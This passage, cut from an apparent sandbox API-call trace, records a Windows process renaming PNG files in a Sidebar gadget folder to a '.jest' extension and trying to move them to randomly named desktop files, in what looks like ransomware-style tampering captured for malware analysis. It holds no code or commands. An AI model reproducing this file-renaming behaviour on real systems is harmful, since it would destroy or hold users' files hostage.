dwReserved0=0x7a5901, dwReserved1=0x6a725239, cFileName="ddQiHs3tGWsAZA0TI9 CAfIfVmD7TghiGM2MV6MTmi7goAVvq16ymArkKXGuZZDUO44BNt0Wns2Q4ovCLNusFFrAhGfz GLx.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.790] GetLastError () returned 0x2 [0126.790] GetLastError () returned 0x2 [0126.790] SetLastError (dwErrCode=0x2) [0126.793] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.793] GetTickCount () returned 0x1152250 [0126.793] GetTickCount () returned 0x1152250 [0126.793] CoFreeUnusedLibraries () [0126.794] GetTickCount () returned 0x1152250 [0126.794] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.794] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.794] GetTickCount () returned 0x1152250 [0126.794] IsWindowVisible (hWnd=0x30268) returned 0 [0126.794] Sleep (dwMilliseconds=0x0) [0126.795] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\2.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\2.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\2.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\2.png.jest")) returned 0 [0126.797] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\2.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\2.png", lpFilePart=0x18e6d8*="2.png") returned 0x50 [0126.797] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\2.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba05cea7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba05cea7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08707fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7210, dwReserved0=0x57, dwReserved1=0x0, cFileName="2.png", cAlternateFileName="")) returned 0x143ce48 [0126.798] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.800] VarBstrFromR4 (in: fltIn=0x47944556, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.67") returned 0x0 [0126.802] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.802] GetTickCount () returned 0x1152250 [0126.802] GetTickCount () returned 0x1152250 [0126.802] CoFreeUnusedLibraries () [0126.802] GetTickCount () returned 0x1152250 [0126.802] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.802] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.802] GetTickCount () returned 0x1152250 [0126.802] IsWindowVisible (hWnd=0x30268) returned 0 [0126.802] Sleep (dwMilliseconds=0x0) [0126.803] GetFullPathNameA (in: lpFileName="GEc2YrlGH8sKa4B1wAeBhFJ4eRMLAlml0iwm9BW32v eunq98BVINu57cpq5pE_01cGRmJyubEabIBNXbx-SU3kH7_3Al_lVwoKi.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GEc2YrlGH8sKa4B1wAeBhFJ4eRMLAlml0iwm9BW32v eunq98BVINu57cpq5pE_01cGRmJyubEabIBNXbx-SU3kH7_3Al_lVwoKi.tmp", lpFilePart=0x18e708*="GEc2YrlGH8sKa4B1wAeBhFJ4eRMLAlml0iwm9BW32v eunq98BVINu57cpq5pE_01cGRmJyubEabIBNXbx-SU3kH7_3Al_lVwoKi.tmp") returned 0x8e [0126.803] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\2.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\2.png", lpFilePart=0x18e708*="2.png") returned 0x50 [0126.804] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\2.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\2.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GEc2YrlGH8sKa4B1wAeBhFJ4eRMLAlml0iwm9BW32v eunq98BVINu57cpq5pE_01cGRmJyubEabIBNXbx-SU3kH7_3Al_lVwoKi.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gec2yrlgh8ska4b1waebhfj4ermlalml0iwm9bw32v eunq98bvinu57cpq5pe_01cgrmjyubeabibnxbx-su3kh7_3al_lvwoki.tmp")) returned 0 [0126.806] GetLastError () returned 0x5 [0126.806] GetLastError () returned 0x5 [0126.806] SetLastError (dwErrCode=0x5) [0126.806] GetLastError () returned 0x5 [0126.806] SetLastError (dwErrCode=0x5) [0126.806] GetLastError () returned 0x5 [0126.806] SetLastError (dwErrCode=0x5) [0126.806] GetFullPathNameA (in: lpFileName="GEc2YrlGH8sKa4B1wAeBhFJ4eRMLAlml0iwm9BW32v eunq98BVINu57cpq5pE_01cGRmJyubEabIBNXbx-SU3kH7_3Al_lVwoKi.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GEc2YrlGH8sKa4B1wAeBhFJ4eRMLAlml0iwm9BW32v eunq98BVINu57cpq5pE_01cGRmJyubEabIBNXbx-SU3kH7_3Al_lVwoKi.tmp", lpFilePart=0x18e6e4*="GEc2YrlGH8sKa4B1wAeBhFJ4eRMLAlml0iwm9BW32v eunq98BVINu57cpq5pE_01cGRmJyubEabIBNXbx-SU3kH7_3Al_lVwoKi.tmp") returned 0x8e [0126.806] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GEc2YrlGH8sKa4B1wAeBhFJ4eRMLAlml0iwm9BW32v eunq98BVINu57cpq5pE_01cGRmJyubEabIBNXbx-SU3kH7_3Al_lVwoKi.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x32634547, cFileName="YrlGH8sKa4B1wAeBhFJ4eRMLAlml0iwm9BW32v eunq98BVINu57cpq5pE_01cGRmJyubEabIBNXbx-SU3kH7_3Al_lVwoKi.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.807] GetLastError () returned 0x2 [0126.807] GetLastError () returned 0x2 [0126.807] SetLastError (dwErrCode=0x2) [0126.810] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.810] GetTickCount () returned 0x1152260 [0126.810] GetTickCount () returned 0x1152260 [0126.810] CoFreeUnusedLibraries () [0126.810] GetTickCount () returned 0x1152260 [0126.810] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.810] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.810] GetTickCount () returned 0x1152260 [0126.810] IsWindowVisible (hWnd=0x30268) returned 0 [0126.810] Sleep (dwMilliseconds=0x0) [0126.811] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\3.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\3.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\3.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\3.png.jest")) returned 0 [0126.813] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\3.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\3.png", lpFilePart=0x18e6d8*="3.png") returned 0x50 [0126.813] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\3.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba083006, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba083006, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08707fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5f4d, dwReserved0=0x57, dwReserved1=0x0, cFileName="3.png", cAlternateFileName="")) returned 0x143ce48 [0126.814] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.816] VarBstrFromR4 (in: fltIn=0x47944558, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.69") returned 0x0 [0126.818] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.818] GetTickCount () returned 0x1152260 [0126.818] GetTickCount () returned 0x1152260 [0126.818] CoFreeUnusedLibraries () [0126.818] GetTickCount () returned 0x1152260 [0126.818] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.818] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.818] GetTickCount () returned 0x1152260 [0126.818] IsWindowVisible (hWnd=0x30268) returned 0 [0126.818] Sleep (dwMilliseconds=0x0) [0126.822] GetFullPathNameA (in: lpFileName="xwnbCfb3NgM7RelHlzeURZNL71ByylH18eAsz6JgdPKIx9Ot6PrN94polJhbeNDaykIIq41QZbGWfxrBo2h 8LS8Eo8ApVucyOpg.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwnbCfb3NgM7RelHlzeURZNL71ByylH18eAsz6JgdPKIx9Ot6PrN94polJhbeNDaykIIq41QZbGWfxrBo2h 8LS8Eo8ApVucyOpg.tmp", lpFilePart=0x18e708*="xwnbCfb3NgM7RelHlzeURZNL71ByylH18eAsz6JgdPKIx9Ot6PrN94polJhbeNDaykIIq41QZbGWfxrBo2h 8LS8Eo8ApVucyOpg.tmp") returned 0x8e [0126.822] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\3.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\3.png", lpFilePart=0x18e708*="3.png") returned 0x50 [0126.822] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\3.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\3.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwnbCfb3NgM7RelHlzeURZNL71ByylH18eAsz6JgdPKIx9Ot6PrN94polJhbeNDaykIIq41QZbGWfxrBo2h 8LS8Eo8ApVucyOpg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xwnbcfb3ngm7relhlzeurznl71byylh18easz6jgdpkix9ot6prn94poljhbendaykiiq41qzbgwfxrbo2h 8ls8eo8apvucyopg.tmp")) returned 0 [0126.825] GetLastError () returned 0x5 [0126.825] GetLastError () returned 0x5 [0126.825] SetLastError (dwErrCode=0x5) [0126.825] GetLastError () returned 0x5 [0126.825] SetLastError (dwErrCode=0x5) [0126.825] GetLastError () returned 0x5 [0126.825] SetLastError (dwErrCode=0x5) [0126.825] GetFullPathNameA (in: lpFileName="xwnbCfb3NgM7RelHlzeURZNL71ByylH18eAsz6JgdPKIx9Ot6PrN94polJhbeNDaykIIq41QZbGWfxrBo2h 8LS8Eo8ApVucyOpg.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwnbCfb3NgM7RelHlzeURZNL71ByylH18eAsz6JgdPKIx9Ot6PrN94polJhbeNDaykIIq41QZbGWfxrBo2h 8LS8Eo8ApVucyOpg.tmp", lpFilePart=0x18e6e4*="xwnbCfb3NgM7RelHlzeURZNL71ByylH18eAsz6JgdPKIx9Ot6PrN94polJhbeNDaykIIq41QZbGWfxrBo2h 8LS8Eo8ApVucyOpg.tmp") returned 0x8e [0126.825] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwnbCfb3NgM7RelHlzeURZNL71ByylH18eAsz6JgdPKIx9Ot6PrN94polJhbeNDaykIIq41QZbGWfxrBo2h 8LS8Eo8ApVucyOpg.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x626e7778, cFileName="Cfb3NgM7RelHlzeURZNL71ByylH18eAsz6JgdPKIx9Ot6PrN94polJhbeNDaykIIq41QZbGWfxrBo2h 8LS8Eo8ApVucyOpg.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.825] GetLastError () returned 0x2 [0126.825] GetLastError () returned 0x2 [0126.826] SetLastError (dwErrCode=0x2) [0126.829] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.829] GetTickCount () returned 0x115226f [0126.829] GetTickCount () returned 0x115226f [0126.829] CoFreeUnusedLibraries () [0126.829] GetTickCount () returned 0x115226f [0126.829] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.829] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.829] GetTickCount () returned 0x115226f [0126.829] IsWindowVisible (hWnd=0x30268) returned 0 [0126.829] Sleep (dwMilliseconds=0x0) [0126.830] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\4.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\4.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\4.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\4.png.jest")) returned 0 [0126.832] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\4.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\4.png", lpFilePart=0x18e6d8*="4.png") returned 0x50 [0126.832] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\4.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba083006, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba083006, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08707fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x57, dwReserved1=0x0, cFileName="4.png", cAlternateFileName="")) returned 0x143ce48 [0126.833] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.836] VarBstrFromR4 (in: fltIn=0x4794455a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.7") returned 0x0 [0126.837] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.838] GetTickCount () returned 0x115227f [0126.838] GetTickCount () returned 0x115227f [0126.838] CoFreeUnusedLibraries () [0126.838] GetTickCount () returned 0x115227f [0126.838] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.838] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.838] GetTickCount () returned 0x115227f [0126.838] IsWindowVisible (hWnd=0x30268) returned 0 [0126.838] Sleep (dwMilliseconds=0x0) [0126.839] GetFullPathNameA (in: lpFileName="W3B-Ep6sQ6GAEzMr 0i_kpEwp0GDitiQ6Chlg_q6Xlwd5ef2wqgDKiiYW9fmv_ - ip17fqx3oItnxpsiaeUa 7UyxL7eBUBxErTA.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\W3B-Ep6sQ6GAEzMr 0i_kpEwp0GDitiQ6Chlg_q6Xlwd5ef2wqgDKiiYW9fmv_ - ip17fqx3oItnxpsiaeUa 7UyxL7eBUBxErTA.tmp", lpFilePart=0x18e708*="W3B-Ep6sQ6GAEzMr 0i_kpEwp0GDitiQ6Chlg_q6Xlwd5ef2wqgDKiiYW9fmv_ - ip17fqx3oItnxpsiaeUa 7UyxL7eBUBxErTA.tmp") returned 0x8f [0126.839] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\4.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\4.png", lpFilePart=0x18e708*="4.png") returned 0x50 [0126.839] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\4.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\4.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\W3B-Ep6sQ6GAEzMr 0i_kpEwp0GDitiQ6Chlg_q6Xlwd5ef2wqgDKiiYW9fmv_ - ip17fqx3oItnxpsiaeUa 7UyxL7eBUBxErTA.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w3b-ep6sq6gaezmr 0i_kpewp0gditiq6chlg_q6xlwd5ef2wqgdkiiyw9fmv_ - ip17fqx3oitnxpsiaeua 7uyxl7ebubxerta.tmp")) returned 0 [0126.841] GetLastError () returned 0x5 [0126.841] GetLastError () returned 0x5 [0126.842] SetLastError (dwErrCode=0x5) [0126.842] GetLastError () returned 0x5 [0126.842] SetLastError (dwErrCode=0x5) [0126.842] GetLastError () returned 0x5 [0126.842] SetLastError (dwErrCode=0x5) [0126.842] GetFullPathNameA (in: lpFileName="W3B-Ep6sQ6GAEzMr 0i_kpEwp0GDitiQ6Chlg_q6Xlwd5ef2wqgDKiiYW9fmv_ - ip17fqx3oItnxpsiaeUa 7UyxL7eBUBxErTA.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\W3B-Ep6sQ6GAEzMr 0i_kpEwp0GDitiQ6Chlg_q6Xlwd5ef2wqgDKiiYW9fmv_ - ip17fqx3oItnxpsiaeUa 7UyxL7eBUBxErTA.tmp", lpFilePart=0x18e6e4*="W3B-Ep6sQ6GAEzMr 0i_kpEwp0GDitiQ6Chlg_q6Xlwd5ef2wqgDKiiYW9fmv_ - ip17fqx3oItnxpsiaeUa 7UyxL7eBUBxErTA.tmp") returned 0x8f [0126.842] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\W3B-Ep6sQ6GAEzMr 0i_kpEwp0GDitiQ6Chlg_q6Xlwd5ef2wqgDKiiYW9fmv_ - ip17fqx3oItnxpsiaeUa 7UyxL7eBUBxErTA.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x2d423357, cFileName="Ep6sQ6GAEzMr 0i_kpEwp0GDitiQ6Chlg_q6Xlwd5ef2wqgDKiiYW9fmv_ - ip17fqx3oItnxpsiaeUa 7UyxL7eBUBxErTA.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.842] GetLastError () returned 0x2 [0126.842] GetLastError () returned 0x2 [0126.842] SetLastError (dwErrCode=0x2) [0126.844] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.844] GetTickCount () returned 0x115227f [0126.844] GetTickCount () returned 0x115227f [0126.844] CoFreeUnusedLibraries () [0126.844] GetTickCount () returned 0x115227f [0126.844] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.844] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.844] GetTickCount () returned 0x115227f [0126.844] IsWindowVisible (hWnd=0x30268) returned 0 [0126.844] Sleep (dwMilliseconds=0x0) [0126.845] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\5.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\5.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\5.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\5.png.jest")) returned 0 [0126.847] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\5.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\5.png", lpFilePart=0x18e6d8*="5.png") returned 0x50 [0126.847] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\5.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba0a9165, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba0a9165, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc089695c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x61bd, dwReserved0=0x57, dwReserved1=0x0, cFileName="5.png", cAlternateFileName="")) returned 0x143ce48 [0126.848] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.850] VarBstrFromR4 (in: fltIn=0x4794455c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.72") returned 0x0 [0126.851] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.851] GetTickCount () returned 0x115227f [0126.851] GetTickCount () returned 0x115227f [0126.851] CoFreeUnusedLibraries () [0126.851] GetTickCount () returned 0x115227f [0126.851] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.851] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.852] GetTickCount () returned 0x115227f [0126.852] IsWindowVisible (hWnd=0x30268) returned 0 [0126.852] Sleep (dwMilliseconds=0x0) [0126.856] GetFullPathNameA (in: lpFileName="_kiJbMtU2whfzTB_kA97wgK9J8tbr5xbNNtLbJylw4gV6VcEXlqvUrOHX3C0EpIfYpLlWvV yOUhHQ1KLSmY90LlxRttRcbzyw9zY.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_kiJbMtU2whfzTB_kA97wgK9J8tbr5xbNNtLbJylw4gV6VcEXlqvUrOHX3C0EpIfYpLlWvV yOUhHQ1KLSmY90LlxRttRcbzyw9zY.tmp", lpFilePart=0x18e708*="_kiJbMtU2whfzTB_kA97wgK9J8tbr5xbNNtLbJylw4gV6VcEXlqvUrOHX3C0EpIfYpLlWvV yOUhHQ1KLSmY90LlxRttRcbzyw9zY.tmp") returned 0x8f [0126.856] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\5.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\5.png", lpFilePart=0x18e708*="5.png") returned 0x50 [0126.857] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\5.png" (normalized: "c:\\program files 